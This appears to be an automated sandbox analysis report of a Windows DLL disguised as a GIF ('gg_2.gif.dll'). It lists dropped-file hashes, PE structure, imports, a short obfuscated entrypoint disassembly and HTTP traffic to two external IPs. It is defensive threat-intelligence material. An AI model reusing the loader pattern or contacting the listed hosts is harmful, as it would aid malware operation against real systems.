SHA1:	4B2334F09608988D7A4E0EE6BC42625E1ECE97FF
SHA-256:	F903EC67F7E81AA74635BA181ABE6E657C81D81AE0CF327957A8B24AC76D339A
SHA-512:	668D6BA8DC12562CE9C018A2C4C3AB53BDC4E982A667AA772EE890EDD2AC0C3353FBDE89F7131427FABF9047B6959C75020651B70CCD248EE13B3610E84FA884
Malicious:	false
Preview:	[2021/04/06 09:44:32.498] Latest deploy version: ..[2021/04/06 09:44:32.498] 11.211.2 ..

C:\Users\user\AppData\Local\Temp\~DF0074918AAC58BED0.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39729
Entropy (8bit):	0.5927685871960084
Encrypted:	false
SSDEEP:	192:kBqoxKAuqR+HJripTooyVmGooyVmGooyVm/:kBqoxKAuqR+HJripToooooIooZ
MD5:	94DBB828162A8FFEC78F18441960B44F
SHA1:	B2BB9550A916FC4F5EDE09DAA96D7CE315A1B71E
SHA-256:	BB260C8736702224B29B403F27570C5AC5450AFE54E37A5FAFEF85E82B8321D5
SHA-512:	22B9546DC5CB1100811241398B74E86AA5F0DD7633E9EB0B5B247A7D09AD04EEA50C44F31E2A141E04DAE245C218DEFDCC791F705E8C751924A6D40FD92A12D3
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF2195FA25978F9CC5.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39601
Entropy (8bit):	0.5638724148018267
Encrypted:	false
SSDEEP:	192:kBqoxKAuqR+AVA7A5AoArABC5b9C5bZC5be:kBqoxKAuqR+8aAhKEIxINIy
MD5:	4964361E777CF7988EFBAC06012090E8
SHA1:	10A9C94AB74D29DAA4F9FCF80A1525B2B0479D86
SHA-256:	72F67B21BC7ADE2303874A9B0B13DFBBF1B7E67F898F3EC6CE5481436A267621
SHA-512:	DDF6CDF23252EDE54488AF9008E7900543DBFF53CA42DC16A52ECBCF284B71F5EFDEB2C08AAE4DF0C965355BB27F483D5D1F9D32873EC117BA3C11034BC25453
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF6997F7500626EE59.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13237
Entropy (8bit):	0.600979425302944
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9loSe9loSO9lWSO3tKgHJtKNIKNSIKZKtKNStK6tK8HJZKr:kBqoIAel9j/OEor5VHQ
MD5:	74F4E31F4613CFC1584A535DE4E25D9F
SHA1:	E2FB91187B44FCC63E9AFD00ED817CDA9822B270
SHA-256:	1EFBD53CCFB4E3BBDF94AFC7813635EB39285793D9234A541604549CD11FAA96
SHA-512:	71173C587FD7759503861743554DCAFE7AD4D6413E7D8D85963FF5354AF2779283F45692FBB666D54C843380356FC69663FFE6BB1C0EEBC476993D24417E089B
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF9F23A32DA34B18FB.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.40777285837878907
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lope9lopO9lWpp/cxK/uAxr:kBqoIXxP
MD5:	4B119725CDF4698D89061C99EB7D0064
SHA1:	644D8A3C6254289E1F2C11AC18758012B6E454B6
SHA-256:	614110412CDEB85409D4213293F6D356985AFF1EE2F33EA58EDD7D85C76AD8F8
SHA-512:	4AAEB386FED56095123AB08CA84B1DC15176E378EDEFC38E6BD0C30842A5D5FF2D92AEAABFF32E1235F5E3F1FB44FC11A82DFA40BA01666C12E3C0EBF362F540
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFA1603C0641426405.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	53618
Entropy (8bit):	1.350527806747591
Encrypted:	false
SSDEEP:	384:kBqoxKAuqR+xvdc/56NlFE97Agf5lf5oTf5BbNrl0E3VJkz:L+5l5I5tW
MD5:	95FEB642D7D9331D0AC3CE9C7711547D
SHA1:	EFE2B96106CE9F0C36FF11E53B4D0EEE06BCEAD4
SHA-256:	1DD5C9C25B652C7AF611338892267C587E8D12C854A9FB78C9DA10FA4BD90052
SHA-512:	97894629B233D199F6290EDFCC8A208551B83279FD9F30D0FA05F397D88AD29F5305886F5F7D4ED76148280F1494BE28F087FFCA3223F522BBC60CDC805E1C12
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFADC6054757B9480C.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.40720839344828985
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lo/e9lo/O9lW/PZnIA0nAUAr:kBqoIRXHZ
MD5:	F305CFEDB1B432AB7B7B63DEB108EE06
SHA1:	E1DCA0563C3E5725D2006368A6728B9B65B13D7F
SHA-256:	5B5752171B940B78828D0B30430C9EFAB46AD63C84E78B394E3A7A70067D8283
SHA-512:	0A4E0BC7F662E2C5E0F3179E9F42EF28841AC2FCCF05F3818EAA972D6EE11A8927F3256EE18BDAA9D2DD1CB4955FB8B4086520E5CD464E335683B93910E7F6D9
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE652DD0808BCC53F.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39665
Entropy (8bit):	0.5758483062552769
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+bVHuVfGbAgmGbAgGGbAg/:kBqoxKAuqR+bVHuVf1gm1gG1g/
MD5:	00C7183F2C587CE424143C4ECD214572
SHA1:	DC8648EE0D7669F5A7CF1779B8FD8B0FAD875F13
SHA-256:	1B4F3A756768B4C05990C65E0F4DA39C568E3C1A7D39DA99B119B3657A9BFFD1
SHA-512:	92DD5A82F02366CD9948D1671FBD15403ED8462B8155E3A5445D90C631F8A06B26B669A1BF0DEEA41BB041715AF13A1F66CC05F25F693E7D6E7B32B6E868BF01
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.969526679450034
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	gg_2.gif.dll
File size:	103048
MD5:	93b67d2be7ea4060f946c196af2b9f38
SHA1:	ef7c7c2fbf1cd70b83811ce794509f4eb14bf370
SHA256:	2817053b604f2d5f62400afd737d9124c87cc388f76aa10e5cc2db867a31c5dd
SHA512:	3f92d5a0828d3d60bda93af14ad946b604a9b46c885453a89a241b85fec2cef75d8adcb000e54d3fdcb89861784fa1c6acf4964de45580674fd5a39e5a814684
SSDEEP:	1536:DWKaY5Se9WnVI78XvnoxJasJvRHKmyGDvDk0Rt9Y56l5ZMpvV05o9OX5xPw8:DWa0eQnVI7qCqZGDvDk4wol5w0EU
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e..)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!.....Z...........`.......p.....................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10006099
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x6066E9D0 [Fri Apr 2 09:54:24 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	811de8e945c2087a6e052096546cd842

Entrypoint Preview

Instruction
push ebx
push ebx
and dword ptr [esp], 00000000h
add dword ptr [esp], ebp
mov ebp, esp
add esp, FFFFFFF8h
push esi
mov dword ptr [esp], FFFF0000h
call 00007F3CCCBCB360h
push ecx
add dword ptr [esp], 00000247h
sub dword ptr [esp], ecx
push ecx
mov dword ptr [esp], 00005267h
call 00007F3CCCBC7D09h
push esi
mov esi, eax
or esi, eax
mov eax, esi
pop esi
jne 00007F3CCCBCCE02h
pushad
push 00000000h
mov dword ptr [esp], edi
xor edi, edi
or edi, dword ptr [ebx+0041856Bh]
mov eax, edi
pop edi
push edx
add dword ptr [esp], 40h
sub dword ptr [esp], edx
push ebx
mov dword ptr [esp], 00001000h
push edi
sub dword ptr [esp], edi
xor dword ptr [esp], eax
push 00000000h
call dword ptr [ebx+0045D014h]
mov dword ptr [ebp-04h], ecx
and ecx, 00000000h
xor ecx, eax
and edi, 00000000h
or edi, ecx
mov ecx, dword ptr [ebp-04h]
push eax
sub eax, dword ptr [esp]
or eax, edi
and dword ptr [ebx+0041809Bh], 00000000h
xor dword ptr [ebx+0041809Bh], eax
pop eax
cmp ebx, 00000000h
jbe 00007F3CCCBCCDDEh
add dword ptr [ebx+004180F7h], ebx
add dword ptr [ebx+00418633h], ebx
mov dword ptr [ebp-04h], edx
sub edx, edx
xor edx, dword ptr [ebx+004180F7h]
mov esi, edx
mov edx, dword ptr [ebp-04h]
push edi
xor edi, dword ptr [esp]
xor edi, dword ptr [ebx+0041856Bh]
and ecx, 00000000h
or ecx, edi
pop edi
cld
rep movsb
push ebx
mov dword ptr [eax+eax], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x17000	0x51	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5d050	0x64	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5d000	0x50	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x15966	0x15a00	False	0.70799087789	data	6.48337924377	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x17000	0x51	0x200	False	0.140625	data	0.863325225156	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x44c5f	0x1800	False	0.13330078125	data	0.926783139034	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.data	0x5d000	0x250	0x400	False	0.2900390625	data	2.96075631554	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
user32.dll	GetActiveWindow, CheckDlgButton, CheckMenuItem, CheckRadioButton, CheckMenuRadioItem
kernel32.dll	GetProcAddress, LoadLibraryA, VirtualProtect, VirtualAlloc, lstrlenA, GetCurrentThreadId, GetCurrentProcess, GetCurrentThread, Module32FirstW
ole32.dll	OleInitialize
comctl32.dll	DPA_Sort

Exports

Name	Ordinal	Address
StartService	1	0x1000b959

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 6, 2021 09:43:56.106827021 CEST	49730	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:43:56.106875896 CEST	49729	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:43:57.102603912 CEST	49729	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:43:57.118244886 CEST	49730	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:43:59.102857113 CEST	49729	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:43:59.134018898 CEST	49730	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:03.148806095 CEST	49740	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:04.134445906 CEST	49740	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:06.134604931 CEST	49740	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:09.352497101 CEST	49741	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:09.352719069 CEST	49742	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:10.353667974 CEST	49742	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:10.353682041 CEST	49741	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:12.353812933 CEST	49742	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:12.353883982 CEST	49741	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:16.375379086 CEST	49744	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:16.375444889 CEST	49743	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:17.385516882 CEST	49744	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:17.385540009 CEST	49743	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:19.385694027 CEST	49744	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:19.385713100 CEST	49743	80	192.168.2.7	185.243.114.196
Apr 6, 2021 09:44:33.554399967 CEST	49756	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:33.554403067 CEST	49757	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:34.543144941 CEST	49756	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:34.558823109 CEST	49757	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:36.543320894 CEST	49756	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:36.558970928 CEST	49757	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:44.858660936 CEST	49758	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:44.858670950 CEST	49759	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:45.856803894 CEST	49759	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:45.872411013 CEST	49758	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:47.872531891 CEST	49759	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:47.872539043 CEST	49758	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:51.889273882 CEST	49760	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:52.888562918 CEST	49760	80	192.168.2.7	185.186.244.95
Apr 6, 2021 09:44:54.888684988 CEST	49760	80	192.168.2.7	185.186.244.95

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 6, 2021 09:42:34.881648064 CEST	57820	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:42:34.934434891 CEST	53	57820	8.8.8.8	192.168.2.7
Apr 6, 2021 09:42:35.824050903 CEST	50848	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:42:35.869875908 CEST	53	50848	8.8.8.8	192.168.2.7
Apr 6, 2021 09:42:37.069717884 CEST	61242	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:42:37.137613058 CEST	53	61242	8.8.8.8	192.168.2.7
Apr 6, 2021 09:42:55.651360035 CEST	58562	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:42:55.697336912 CEST	53	58562	8.8.8.8	192.168.2.7
Apr 6, 2021 09:42:57.046114922 CEST	56590	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:42:57.092035055 CEST	53	56590	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:01.879981041 CEST	60501	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:01.939616919 CEST	53	60501	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:02.080539942 CEST	53775	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:02.137077093 CEST	53	53775	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:03.400265932 CEST	51837	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:03.446458101 CEST	53	51837	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:05.578721046 CEST	55411	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:05.627563953 CEST	53	55411	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:06.702929020 CEST	63668	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:06.751795053 CEST	53	63668	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:07.979118109 CEST	54640	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:08.035418987 CEST	53	54640	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:08.220191956 CEST	58739	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:08.266136885 CEST	53	58739	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:09.922044039 CEST	60338	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:09.970926046 CEST	53	60338	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:10.055794954 CEST	58717	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:10.101711035 CEST	53	58717	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:10.245877981 CEST	59762	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:10.300235987 CEST	53	59762	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:11.346352100 CEST	54329	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:11.408977985 CEST	53	54329	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:11.469180107 CEST	58052	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:11.526518106 CEST	53	58052	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:12.003123045 CEST	54008	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:12.049132109 CEST	53	54008	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:12.859206915 CEST	59451	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:12.906091928 CEST	53	59451	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:13.803098917 CEST	52914	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:13.848953962 CEST	53	52914	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:14.844141960 CEST	64569	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:14.893002033 CEST	53	64569	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:19.034461975 CEST	52816	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:19.080424070 CEST	53	52816	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:22.988645077 CEST	50781	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:23.034521103 CEST	53	50781	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:23.857604027 CEST	54230	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:23.903712034 CEST	53	54230	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:25.236660004 CEST	54911	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:25.284245014 CEST	53	54911	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:26.250391960 CEST	49958	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:26.315198898 CEST	53	49958	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:29.603315115 CEST	50860	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:29.660588026 CEST	53	50860	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:29.716456890 CEST	50452	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:29.749583006 CEST	59730	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:29.762495041 CEST	53	50452	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:29.805938959 CEST	53	59730	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:31.474827051 CEST	59310	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:31.523916960 CEST	53	59310	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:37.984642982 CEST	51919	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:38.030749083 CEST	53	51919	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:38.976551056 CEST	51919	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:39.023224115 CEST	53	51919	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:39.977999926 CEST	51919	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:40.025016069 CEST	53	51919	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:41.977371931 CEST	51919	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:42.023483992 CEST	53	51919	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:45.992753983 CEST	51919	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:46.040611029 CEST	53	51919	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:54.693759918 CEST	64296	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:54.717427969 CEST	56680	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:54.752273083 CEST	53	64296	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:54.771936893 CEST	53	56680	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:56.011467934 CEST	58820	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:56.040554047 CEST	60983	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:56.079545975 CEST	53	58820	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:56.086494923 CEST	53	60983	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:57.102036953 CEST	49247	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:57.148258924 CEST	53	49247	8.8.8.8	192.168.2.7
Apr 6, 2021 09:43:57.183739901 CEST	52286	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:43:57.237943888 CEST	53	52286	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:02.642719030 CEST	56064	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:02.698501110 CEST	53	56064	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:09.269527912 CEST	63744	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:09.331233978 CEST	53	63744	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:10.161437035 CEST	61457	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:10.218655109 CEST	53	61457	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:22.291290998 CEST	58367	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:22.345509052 CEST	53	58367	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:22.925894022 CEST	60599	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:22.980329990 CEST	53	60599	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:23.403147936 CEST	59571	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:23.408040047 CEST	52689	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:23.457480907 CEST	53	59571	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:23.462517977 CEST	53	52689	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:23.575002909 CEST	50290	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:23.620867014 CEST	53	50290	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:23.930504084 CEST	60427	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:23.985405922 CEST	53	60427	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:24.513418913 CEST	56209	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:24.596847057 CEST	53	56209	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:24.670717955 CEST	59582	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:24.719486952 CEST	53	59582	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:25.213490009 CEST	60949	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:25.278352022 CEST	53	60949	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:25.683332920 CEST	59582	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:25.732191086 CEST	53	59582	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:25.788832903 CEST	58542	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:25.849915981 CEST	53	58542	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:26.699472904 CEST	59582	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:26.749284983 CEST	53	59582	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:26.899451017 CEST	59179	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:26.958055973 CEST	53	59179	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:27.841487885 CEST	60927	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:27.896445036 CEST	53	60927	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:28.413069010 CEST	57854	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:28.496660948 CEST	53	57854	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:28.715058088 CEST	59582	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:28.764534950 CEST	53	59582	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:32.103481054 CEST	62026	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:32.159796953 CEST	53	62026	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:32.730901957 CEST	59582	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:32.782155991 CEST	53	59582	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:33.456516027 CEST	59453	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:33.525907040 CEST	53	59453	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:40.575429916 CEST	62468	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:40.629792929 CEST	53	62468	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:44.532078028 CEST	52563	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:44.594131947 CEST	53	52563	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:44.799652100 CEST	54721	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:44.854104996 CEST	53	54721	8.8.8.8	192.168.2.7
Apr 6, 2021 09:44:58.892924070 CEST	62826	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:44:58.950344086 CEST	53	62826	8.8.8.8	192.168.2.7
Apr 6, 2021 09:45:01.977078915 CEST	62046	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:02.033859968 CEST	53	62046	8.8.8.8	192.168.2.7
Apr 6, 2021 09:45:02.228313923 CEST	51223	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:02.274180889 CEST	53	51223	8.8.8.8	192.168.2.7
Apr 6, 2021 09:45:02.471421957 CEST	63908	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:02.539561033 CEST	53	63908	8.8.8.8	192.168.2.7
Apr 6, 2021 09:45:03.023102045 CEST	49226	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:03.026839018 CEST	60212	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:03.027239084 CEST	58867	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:03.068928957 CEST	53	49226	8.8.8.8	192.168.2.7
Apr 6, 2021 09:45:03.072657108 CEST	53	60212	8.8.8.8	192.168.2.7
